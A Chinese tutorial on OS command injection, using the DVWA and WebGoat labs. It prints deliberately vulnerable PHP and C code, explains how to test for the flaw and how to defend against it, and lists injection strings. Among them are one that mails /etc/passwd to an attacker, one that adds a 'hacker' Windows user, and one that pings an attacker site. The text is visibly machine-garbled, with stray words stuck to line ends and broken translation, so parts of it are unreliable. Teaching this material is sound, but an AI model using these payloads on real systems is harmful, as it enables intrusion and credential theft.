实战部分:php
说明:这里我用的是OWASP的一个平台和DVWAhtml
下面简单说一下安装方法(windows下):
先下载webscarab-current.zip(这个自带tomcat,还有一个下载方式是war文件,须要本身安装tomcat,建议使用第一个),地址为http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project,解压到一个文件夹,运行webgoat.bat便可启动其自带的tomcat,经过访问http://localhost/WebGoat/attack,输入用户名guest,密码guest便可进入linux
ncodeURIComponent 方法
将文本字符串编码为一个统一资源标识符 (URI) 的一个有效组件。
encodeURIComponent(encodedURIString)
必选的 encodedURIString 参数表明一个已编码的 URI 组件。
说明
encodeURIComponent 方法返回一个已编码的 URI。若是您将编码结果传递给 decodeURIComponent,那么将返回初始的字符串。由于 encodeURIComponent 方法对全部的字符编码,请注意,若是该字符串表明一个路径,例如 /folder1/folder2/default.html,其中的斜杠也将被编码。这样一来,当该编码结果被做为请求发送到 web 服务器时将是无效的。若是字符串中包含不止一个 URI 组件,请使用 encodeURI 方法进行编码。web
呵呵!此漏洞危害很大,不用多说。正则表达式
DVWA部分shell
源码数据库
<?phpwindows
if( isset( $_POST[ 'submit' ] ) ) {tomcat
$target = $_REQUEST[ 'ip' ];安全
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
}
}
?>
以上代码咱们能够看出, $target = $_REQUEST[ 'ip' ];直接从文本框中输入的内容,没有任何
限制,刚刚咱们在上面也看到了,在操做系统中使用“&&”链接符(在windows下一个&和两个&
均可以,在linux下必定要两个),能够执行多条命令。
---------------------------------------------------------------------------------------------------
理论部分:
如何测试命令注入
总结
命令注入漏洞是特别危险的,由于它们容许未经受权的执行操做系统命令, 它们的存在,由于应用程序没法正确地验证和消毒,使用时调用shell的功能,如的参数。 攻击者与控制这些参数能够欺骗应用程序执行任何系统命令本身的选择。
例如,UNIX应用程序列出了使用的文件夹的内容。 它须要的字符串FOLDER_NAME,从用户,没有任何验证,链接到“ls”的创建实际的命令。 应用程序,而后经过命令(“LS FOLDER_NAME “)的系统()函数,并获取结果。 一个命令注入漏洞,容许攻击者注入额外的命 令在输入字符串FOLDER_NAME的, 其结果是被欺骗应用程序执行攻击者的额外的命 令。
为了正确测试命令注入漏洞,应遵循如下步骤:
第1步: 了解攻击场景
第2步: 分析缘由及对策
第3步: 开始试验和探索
第4步: 微调测试案例
第1步: 了解攻击场景
命令注入漏洞测试的第一步是要了解他们的攻击的状况下, 有两种常见的类型,命令注入漏洞:
直接命令注入。
间接命令注入。
方案1: 直接命令注入
最基本的形式包括直接提供的额外的易受攻击的应用程序的命令。命令注入 攻击者首先发现应用程序调用系统命令做为参数的命令,直接将用户提供的数据, 那么攻击者提供的恶意命令的预期参数。 应用程序执行原来的命令,而后恶意。
详细步骤以下:
1. 攻击者发现,该应用程序使用客户端输入来执行命令。
2. 攻击者提供的恶意客户端输入命令的一部分。
3. 攻击者观察应用程序执行其余命令。
方案2: 间接命令注入
这种状况下,命令注入,直接地或间接地提供额外的易受攻击的应用程序能够经过文件或环境变量的命令。 首先,攻击者减去的应用程序调用系统命令,从外部数据源,如文件或环境变量 而后,攻击者修改的内容的外部源中加入恶意的命令。 而后,攻击者等待或强制执行恶意命令,与原来的应用程序。
详细步骤以下:
1. 攻击者发现,该应用程序使用的数据存储在外部执行命令。
2. 攻击者编辑外部来源包括恶意命令。
3. 攻击者等待,直到应用程序执行原来的命令(或攻击者试图使该应用程序的状态将在其中提供的命令执行)。
4. 攻击者验证的应用程序的执行注入的命令。
第2步: 分析缘由及对策
在此步骤中,你就会明白命令注入漏洞以及共同防护的缘由。 这将帮助您寻找代码中的错误,并认识到安全的编码实践。
命令注入的缘由
命令注入漏洞是一个单一的缘由:可怜的输入验证。 创建任何应用程序,命令字符串中使用未消毒的数据容易受到此错误。下面的代码片断演示了命令注入漏洞。这在Windows下运行使用PHP代码的输入提供一个文本框的形式和调用EXEC 功能,键入的文件:
<?php
$command = 'type ' . $_POST['username'];
exec($command, $res);
for ($i = 0; $i < sizeof($res); $i++)
echo $res[$i].'<br>';
?>
用户能够提供如下字符串列表中的活动链接在服务器:
file.txt|netstat -ano
下面的例子在C + +(由OWASP [I])运行在一个符合POSIX标准的类Unix环境,如 使用提供的命令行输入到系统并运行的cat命令:
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
char cat[] = "cat ";
char *command;
size_t commandLength;
commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );
system(command);
return (0);
}
用户能够提供如下字符串的服务器的当前目录的内容列出目录的内容:
file.txt;ls
上面的代码片断中使用两种不一样的功能,交互的shell 执行exec()和()。 下面的列表汇总了经常使用的功能,在命令注入攻击:
Function Language
system, execlp,execvp, ShellExecute, _wsystem C/C++
Runtime.exec Java
exec, eval PHP
exec, open, eval, Perl
exec, eval, execfile, input Python
Shell, ShellExecuteForExplore, ShellExecute VB
命令注入对策
应用程序防护命令注入漏洞,经过作正确的输入验证和消毒。 开发人员必须看全部状况下,应用程序调用一个壳状系统功能,如执行或系统,避免执行,除非参数被正确地验证和消毒。 有两种可能的方法来验证这些参数:使用黑色列表或使用白名单。
黑名单检查,而后才容许执行恶意模式。 命令注入的状况下,一个黑色的命令列表可能包含分隔符,如分号(;)垂直划线(|),双破折号(| |),双放大器(&&)危险的命令,如RM,CP,猫,LS,在净参数,netstat,DEL,复制等, 可是,一个主要的缺点阻碍了这种对策是有效的,除非黑名单绝对是全部涉及危险的可能性,攻击者能够找到之外的黑名单的变化,来进行攻击。
白名单与安全执行模式匹配, 若是有问题的数据不匹配任何安全模式,这是不容许的。 这危险的构造,由于任何新的(恶意)结构的新变化,不符合安全的解决了这个问题一种是系统自动封锁。 一个共同的方式来实现白名单是相匹配的输入与安全的命令格式的正则表达式表示。 然而,复杂的正则表达式能够写和解释。 开发人员必须确保他们了解如何编写和解释正则表达式以前实施这一防护。
第3步: 开始试验和探索
在此步骤中,您将开始测试您的应用程序的基本命令注入字符串,并观察应用程序如何反应。
一个简单的测试字符串的开始
首先,你须要找到全部的地方,你的应用程序调用系统命令来执行和操做, 而后在这些地方,开始探索如何命令注入所需的应用程序处理的基本特征。 如下两个字符串是很好的尝试由于它们包含命令和命令注入字符:
abc;dir C:|xyz&netstat (Windows)
abc;ls|cp&rm (UNIX)
若是应用程序没有给出一个错误消息,由于特殊字符,而后有机会的话,它受到从命令注入漏洞。
创建一个有效的命令
重要的是,你是可以理解的。 例如,未找到文件的错误,而不是一个无效的数据格式错误是一个很好的提示,应用程序须要处理的特殊字符做为文件的一部分。 例如,你可能会获得一个找不到文件的错误时,使用下列字符串:
file.txt|dir c:
这是由于应用程序调用exec()的如下字符串:
cmd /c type "c:\public_html\user_files\file.txt|dir c:"
对于输入字符串执行附加额外的命令以前,你须要关闭的双引号的目录列表命令:
file.txt"|dir c:
须要特别注意引号和双引号,由于省略了,他们能够很容易致使注入字符串做为数据处理。有时应用程序不反映注入的在屏幕上的命令的输出。为了解决这个问题,使用命令不建立屏幕输出,但执行一个可见的行动:file.txt;mail </etc/passwd Emails attacker the server’s passwords.file.txt|net user /add "hacker" Adds hacker to the Windows user database.file.txt;ping%20attacker_site Pings the attacker site. 第4步: 微调测试案例数据完全地测试您的应用程序对命令注入漏洞,你必须覆盖全部可能的入口点和命令注入是可能的状况下的。尝试不一样的切入点和场景继续探索不一样的应用程序的入口点。 测试的状况下,数据的格式会有所不一样的入口点。 例如,若是你正在测试经过URL字符串file.txt的“ DIR C:可能看起来像一个2如下(取决于上的URL编码): file.txt"|dir%20c: file.txt"|dir+c: 重要的是,你考虑不一样的编码方式和数据格式额外的命令注入的入口点,如:输入字段,URL参数,POST数据,Web服务方法,用户界面元素,环境变量,数据库的内容,注册表内容,文件的内容,第三党的API,和网络数据包。 当间接命令注入进行测试时,重要的是你控制的源传递到目标函数的参数。 例如,若是你被攻击一个使用应用程序 ,你必须控制传递给这个函数的文件。 让咱们说的应用程序使用而execfile /私营/ commands.txt的,在这里你不须要经过任何恶意的参数,你必须修改命令文件注入恶意指令,并等待(或强迫)注入要执行的命令。这是建议,进行测试时,直接喷射,您使用的环境监测工具。 您可使用Sysinternals Process Explorer的注册表,文件系统,如今结合,找出您的应用程序使用的外部资源时调用shell或系统环境变量监控的命令。 结论 命令注入漏洞存在,由于穷人的输入验证和消毒交互的功能与操做系统的shell所使用的参数。 任何攻击者控制这些参数能够强制应用程序执行没必要要的系统命令。 命令注入漏洞进行对比测试,包括操纵原来的命令参数,命令注入的字符串,取决于要执行的操做的入口点下测试不一样的组合。